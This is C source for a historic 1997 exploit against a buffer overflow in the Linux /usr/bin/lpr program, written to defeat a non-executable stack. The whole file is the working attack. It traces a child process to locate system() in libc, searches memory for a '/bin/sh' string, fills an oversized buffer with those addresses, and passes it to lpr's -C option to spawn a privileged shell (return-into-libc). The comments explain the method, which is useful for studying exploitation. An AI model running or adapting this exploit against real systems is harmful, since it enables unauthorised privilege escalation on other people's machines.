/*
     * /usr/bin/lpr   buffer   overflow    exploit   for  Linux   with
     * non-executable stack
     * Copyright (c) 1997 by Solar Designer
     */

    #include <stdio.h>
    #include <unistd.h>
    #include <string.h>
    #include <stdlib.h>
    #include <signal.h>
    #include <setjmp.h>
    #include <sys/ptrace.h>
    #include <sys/types.h>
    #include <sys/wait.h>

    #define SIZE            1200    /* Amount of data to overflow with */
    #define ALIGNMENT       11      /* 0, 8, 1..3, 9..11 */

    #define ADDR_MASK       0xFF000000

    char buf[SIZE];
    int *ptr;

    int pid, pc, shell, step;
    int started = 0;
    jmp_buf env;

    void handler() {
      started++;
    }

    /* SIGSEGV handler, to search in libc */
    void fault() {
      if (step < 0) {
    /* Change the search direction */
        longjmp(env, 1);
      } else {
    /* The search failed in both directions */
        puts("\"/bin/sh\" not found, bad luck");
        exit(1);
      }
    }

    void error(char *fn) {
      perror(fn);
      if (pid > 0) kill(pid, SIGKILL);
      exit(1);
    }

    void main() {
      signal(SIGUSR1, handler);

    /* Create a child process to trace */
      if ((pid = fork()) < 0) error("fork");

      if (!pid) {
    /* Send the parent a signal, so it starts tracing */
        kill(getppid(), SIGUSR1);
    /* A loop since the parent may not start tracing immediately */
        while (1) system("");
      }

    /* Wait until the child tells us the next library call will be system() */
      while (!started);

      if (ptrace(PTRACE_ATTACH, pid, 0, 0)) error("PTRACE_ATTACH");

    /* Single step the child until it gets out of system() */
      do {
        waitpid(pid, NULL, WUNTRACED);
        pc = ptrace(PTRACE_PEEKUSR, pid, 4*EIP, 0);
        if (pc == -1) error("PTRACE_PEEKUSR");
        if (ptrace(PTRACE_SINGLESTEP, pid, 0, 0)) error("PTRACE_SINGLESTEP");
      } while ((pc & ADDR_MASK) != ((int)main & ADDR_MASK));

    /* Single step the child until it calls system() again */
      do {
        waitpid(pid, NULL, WUNTRACED);
        pc = ptrace(PTRACE_PEEKUSR, pid, 4*EIP, 0);
        if (pc == -1) error("PTRACE_PEEKUSR");
        if (ptrace(PTRACE_SINGLESTEP, pid, 0, 0)) error("PTRACE_SINGLESTEP");
      } while ((pc & ADDR_MASK) == ((int)main & ADDR_MASK));

    /* Kill the child, we don't need it any more */
      if (ptrace(PTRACE_KILL, pid, 0, 0)) error("PTRACE_KILL");
      pid = 0;

      printf("system() found at: %08x\n", pc);

    /* Let's hope there's an extra NOP if system() is 256 byte aligned */
      if (!(pc & 0xFF))
      if (*(unsigned char *)--pc != 0x90) pc = 0;

    /* There's no easy workaround for these (except for using another function) */
      if (!(pc & 0xFF00) || !(pc & 0xFF0000) || !(pc & 0xFF000000)) {
        puts("Zero bytes in address, bad luck");
        exit(1);
      }

    /*
     * Search for a "/bin/sh" in libc until we find a copy with no zero bytes
     * in its address. To avoid specifying the actual address that libc is
     * mmap()ed to we search from the address of system() in both directions
     * until a SIGSEGV is generated.
     */
      if (setjmp(env)) step = 1; else step = -1;
      shell = pc;
      signal(SIGSEGV, fault);
      do
        while (memcmp((void *)shell, "/bin/sh", 8)) shell += step;
      while (!(shell & 0xFF) || !(shell & 0xFF00) || !(shell & 0xFF0000));
      signal(SIGSEGV, SIG_DFL);

      printf("\"/bin/sh\" found at: %08x\n", shell);

    /*
     * When returning into system() the stack should look like:
     *                              pointer to "/bin/sh"
     *                              return address placeholder
     * stack pointer ->             pointer to system()
     *
     * The buffer could be filled with this 12 byte pattern, but then we would
     * need to try up to 12 values for the alignment. That's why a 16 byte pattern
     * is used instead:
     *                              pointer to "/bin/sh"
     *                              pointer to "/bin/sh"
     * stack pointer (case 1) ->    pointer to system()
     * stack pointer (case 2) ->    pointer to system()
     *
     * Any of the two stack pointer values will do, and only up to 8 values for
     * the alignment need to be tried.
     */
      memset(buf, 'x', ALIGNMENT);
      ptr = (int *)(buf + ALIGNMENT);
      while ((char *)ptr < buf + SIZE - 4*sizeof(int)) {
        *ptr++ = pc; *ptr++ = pc;
        *ptr++ = shell; *ptr++ = shell;
      }
      buf[SIZE - 1] = 0;

      execl("/usr/bin/lpr", "lpr", "-C", buf, NULL);
      error("execl");
    }
